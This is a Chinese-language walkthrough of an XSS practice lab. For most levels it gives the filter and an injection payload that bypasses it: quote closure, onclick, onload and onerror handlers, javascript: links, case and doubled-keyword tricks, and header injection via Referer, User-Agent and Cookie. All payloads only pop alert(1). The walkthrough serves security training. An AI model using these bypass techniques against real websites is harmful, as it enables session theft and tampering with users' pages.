XSS-lab
alert()弹窗 onclick 单击鼠标 onload 加载完成 noerror加载失败执行 %0a %0d 都是换行的意思
第一关
第一关没有明确的xss攻击点,所以可以尝试在URL栏里尝试输入弹框语句
level1.php?name=<script>alert(1)</script>
第二关
第二关中打上跟第一题的代码然后查看页面源代码
可以看出这一关输入的值在input标签中的value值中,所以输入js代码是不会执行的,所以我们要把input标签补齐然后再进行js代码的输入
"><script>alert(1)</script>
第三关
第三关使用一下会发现<>被htmlspecialchars码了
在htmlspecialchars编码下特殊符号会被编译成其他编码
< '<');
> '>');
" '"');
' ''');
所以我们可以试一次不带<>符号的,可以尝试先闭合那个input标签然后再添加一个”动作“然后让他弹窗
由上面的html编码可以看出一般单引号不会被编译所以我么尝试使用单引号进行尝试
先闭合input标签,然后添加动作👇
' > onclick=' alert(1)
第四关
第四关的流程跟第三关的流程发现是差不多啊
只需要将单引号更改为双引号即可
">onclick ="alert(1)
第五关
第五关尝试进行之前的代码会发现都被绕过了
所以我们可以使用新的标签,>,使用a标签然后构建个伪协议
首先闭合前面的标签然后利a标签,href到一个伪协议就可以了
"><a href="javascript:alert(1)">a</a>
第六关
第六关是使用大小写绕过进行对弹窗的使出,发现他绕过script和onclick
所以依旧是利用a标签然后再利用大小写对这一关进行绕过
"><a href="javascript:alert(1)">a</a>
第七关
第七关是利用双写命令进行绕过
输入我们之前的命令会发现他把script去除掉,所以我们可以双写script来对删除script进行绕过
我们先进行对input标签闭合然后命令框对这个命令进行输入
"><scrscriptipt>alert(1)</scrscriptipt>
第八关
看到链接一看到的第一反应是a标签,然后查看源代码是自带a标签的
第八关尝试使用script标签发现不会闭合,所以而且还使用了htmlspecialchars编码
所以我们使用编码进行绕过,将script进行转码,这里附上转码链接
利用javascript的script进行编码后组成然后进行绕过
javascript:alert(1)
这一关我们还有一种别的方法是利用tab键进行绕过
javasc ript:alert(1)
这个中间的不是空格键而是tab键,如果在网页中打不进去那就找个文档然后再输入后复制粘贴
第九关
第九关看到以后我们发现跟第八关的情况面相一样,就试试第把关的方式然后发现都不行
所以从头开始,我们输入一个右键查看源代码,发现显示网址不合法,所以我们输入一个网址形式的内容:http://ss(我是随便打的网站)显示源代码显示的是可以的,所以我们尝试在输入js代码的同时输入http://来尝试绕过
javasc ript:alert()//http://sss
//是跟后面隔开
当然第九关可以使用tab键进行绕过,我们也尝试一下使用编码进行尝试
javascript:alert(1)//http://safaf
发现也可以正常绕过
第十关
第一种方法:
第十关查看源代码发现有好多隐藏的标签,我们可以尝试去把他们显示出来然后对其进行修改
尝试隐藏只有t_sort可以进行有效操作
在url栏中方可以输入
/level10.php?t_sort="onclick=alert(1) type=text"
让他这一条显示出来,并且执行点击就执行弹窗的命令
第二种方法:
按f12查看源码,然后将鼠标指定到t_sort那一行然后直接进行更改
第十一关
第十一关查看源代码会发现他对referer头去除了,
我们使用bp抓包,抓到数据包后在里面添加referer头进行xss攻击,
在referer头随便打东西,会发现他会传送到
所以这也就像是第二关补全的命令了
在里面先补全,然后显示input框,然后执行点击弹窗
referer:"type="text" onclick="alert(1)
第十二关
第十二关直接查看源代码会发现源代码里面的有一行跟数据包里面的一条是一样的
然后发现这一条和user-agent是一样的,然后我们尝试在数据包里面的agent里面输入一点东西再查看源代码发现是一样的,所以这个地方就是我们xss的攻击点,
我们先对user-agent进行闭合,然后明文显示,然后再执行动作命令
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0" type="text" onclick="alert(1)
第十三关
第十三关跟11-12是一样的抓包查看和网页源代码之间的区别就会发现在cookie中有一句call me maybe
然后就跟之前一样 先补全名称,然后再进行其他的操作
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1)
14-15由于种种原因做不了
第十六关
第十六关也是在url处输入keyword=***然后进行操作
我们先尝试 会发现script被删除了,然后尝试双写会发现也没法使用
所以我决定不使用script标签而是使用svg标签对这个进行一个绕过
level16.php?keyword=<svg%0aonload=alert(1)>
这个代表着当加载完成后执行操作
我们也可以使用img标签进行操作
level16.php?keyword=%3Cimg%0asrc=1%0Aonerror=alert(1)%3E
下面这个是当执行错误的时候执行这个操作